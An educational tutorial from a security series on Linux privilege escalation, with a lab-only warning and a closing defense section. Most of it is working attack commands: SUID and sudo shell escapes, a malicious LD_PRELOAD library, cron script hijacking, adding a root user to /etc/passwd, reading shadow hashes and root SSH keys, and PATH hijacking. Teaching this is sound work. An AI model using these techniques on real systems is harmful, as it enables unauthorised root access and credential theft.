Linux privilege escalation
In this series (16 parts)
- How attackers think: the attacker mindset
- Networking fundamentals for security
- Cryptography fundamentals
- Public key infrastructure and certificates
- Authentication and authorization
- Web application security: OWASP Top 10
- Network attacks and defenses
- Linux privilege escalation
- Windows security fundamentals
- Malware types and analysis basics
- Reconnaissance and OSINT
- Exploitation basics and CVEs
- Post-exploitation and persistence
- Defensive security: hardening and monitoring
- Incident response
- CTF skills and practice labs
You have a shell on a Linux system, but you are not root. The web application you exploited dropped you in as www-data. The SSH credentials you found gave you access as a limited user. Now what? Privilege escalation is the process of going from a low-privilege account to root (or another high-privilege account). This is one of the most important skills in both offensive security and defensive auditing.
Prerequisites
This article builds directly on Linux knowledge. You should understand users, groups, and permissions, processes and signals, cron jobs, and shell scripting.
⚠ All examples in this article are for educational purposes in CTF/lab environments. Never attempt privilege escalation on systems you do not own or have explicit authorization to test.
The initial checklist
When you land on a system, start by gathering information:
# Who am I?
whoami
id
Output:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# What system is this?
uname -a
cat /etc/os-release
# What can I run with sudo?
sudo -l
Output:
User www-data may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/find
This is already a finding. We will exploit it below.
# What SUID binaries exist?
find / -perm -4000 -type f 2>/dev/null
# What cron jobs are running?
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
# What writable files/directories exist?
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null | grep -v proc
# What is in the user's home directory?
ls -la /home/
find /home -type f -readable 2>/dev/null
# Interesting files with credentials
find / -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name ".env" 2>/dev/null | head -20
cat /etc/shadow 2>/dev/null
SUID binaries
A SUID binary runs with the permissions of the file owner (usually root), regardless of who executes it. If you find a SUID binary that lets you execute commands or read files, you can escalate to root.
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
Output:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/find <-- interesting
/usr/bin/vim.basic <-- interesting
/usr/bin/nmap <-- interesting
Example: Exploiting SUID find
find has an -exec option that runs commands. If find is SUID root:
# Check permissions
ls -la /usr/bin/find
Output:
-rwsr-xr-x 1 root root 233928 Jun 15 10:00 /usr/bin/find
The s in the owner execute position confirms SUID.
# Escalate to root
find . -exec /bin/bash -p \;
Output:
bash-5.2# whoami
root
The -p flag tells bash to keep the effective UID (root from SUID) instead of dropping privileges.
GTFOBins
GTFOBins is a curated list of Unix binaries that can be used for privilege escalation. For any SUID binary you find, check GTFOBins for known techniques.
Common SUID escalation targets: find, vim, nmap (older versions), python, bash, less, awk.
Misconfigured sudo
sudo -l shows what you can run with elevated privileges. Misconfigurations here are extremely common.
sudo -l
Output:
User www-data may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
Exploiting sudo vim
sudo vim -c ':!/bin/bash'
This opens vim as root and immediately spawns a bash shell.
Exploiting sudo with environment variables
# If sudo preserves LD_PRELOAD
sudo -l
Output:
env_keep+=LD_PRELOAD
Create a malicious shared library:
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
# Run any allowed sudo command with the malicious library
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
Writable cron jobs
If a cron job runs as root and executes a script you can write to, you can replace the script with your own.
# Check crontab
cat /etc/crontab
Output:
* * * * * root /opt/scripts/backup.sh
# Check if we can write to it
ls -la /opt/scripts/backup.sh
Output:
-rwxrwxrwx 1 root root 234 Jun 15 10:00 /opt/scripts/backup.sh
World-writable. Replace it:
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /opt/scripts/backup.sh
Wait for the cron job to run (1 minute in this case), then:
/tmp/rootbash -p
whoami
Output:
root
Weak file permissions
World-readable /etc/shadow
ls -la /etc/shadow
Output:
-rw-r--r-- 1 root shadow 1234 Jun 15 10:00 /etc/shadow
If you can read /etc/shadow, extract the password hashes and crack them offline:
cat /etc/shadow | grep -v ":\*:" | grep -v ":!:"
Output:
root:$6$abc123...:19890:0:99999:7:::
admin:$6$def456...:19890:0:99999:7:::
Use hashcat or john to crack these (in your lab environment).
Writable /etc/passwd
ls -la /etc/passwd
If writable, add a new root user:
# Generate a password hash
openssl passwd -6 -salt xyz mypassword
Output:
$6$xyz$abc123...
# Add a root-level user
echo 'hacker:$6$xyz$abc123...:0:0::/root:/bin/bash' >> /etc/passwd
# Switch to the new user
su hacker
Kernel exploits
If the kernel version is old, there may be known exploits:
uname -r
Output:
5.4.0-42-generic
Search for exploits matching this kernel version. Tools like linux-exploit-suggester automate this.
Kernel exploits are a last resort because they can crash the system. They are also loud and leave traces in kernel logs.
PATH hijacking
If a SUID binary or a root cron job calls a command without an absolute path, you can create a malicious version of that command earlier in the PATH.
# A SUID script contains:
cat /usr/local/bin/backup
Output:
#!/bin/bash
tar czf /backup/home.tar.gz /home
tar is called without an absolute path. Create a fake tar:
echo '#!/bin/bash
/bin/bash -p' > /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATH
# Run the SUID script
/usr/local/bin/backup
The script finds our fake tar first (because /tmp is first in PATH) and executes it as root.
Example 1: Find and exploit a SUID binary (lab context)
Systematic approach for a CTF machine:
# Step 1: Find SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort
Output:
/usr/bin/base64
/usr/bin/find
/usr/bin/nmap
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/sudo
# Step 2: Check unusual ones against GTFOBins
# base64 is unusual as SUID - check it
# Step 3: Use base64 to read /etc/shadow
base64 /etc/shadow | base64 -d
Output:
root:$6$randomsalt$longhashhere:19890:0:99999:7:::
admin:$6$anothersalt$differenthash:19890:0:99999:7:::
# Step 4: Also read SSH keys
base64 /root/.ssh/id_rsa | base64 -d
If root has an SSH key, you can use it to log in as root directly.
Example 2: Exploit a sudo misconfiguration
# Step 1: Check sudo permissions
sudo -l
Output:
User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/env
# Step 2: Check GTFOBins for env
# env can spawn a shell
# Step 3: Escalate
sudo env /bin/bash
Output:
root@target:~# whoami
root
Defense: detecting privilege escalation
As a defender, look for these indicators in your logs:
# Monitor for new SUID files
find / -perm -4000 -newer /etc/hostname -type f 2>/dev/null
# Check for suspicious sudo usage
grep "COMMAND" /var/log/auth.log | grep -v "expected_commands"
# Monitor /etc/passwd and /etc/shadow changes
inotifywait -m /etc/passwd /etc/shadow
# Find world-writable files in sensitive locations
find /etc /usr/local/bin /opt -writable -type f 2>/dev/null
The best defense is following the principle of least privilege: minimal SUID binaries, restricted sudo rules, proper file permissions, and regular auditing.
What comes next
The next article covers Windows security fundamentals, where you will learn about Active Directory, NTLM, Kerberos, and common Windows attack vectors.
For the defensive side, see Linux security basics to harden against the techniques covered here.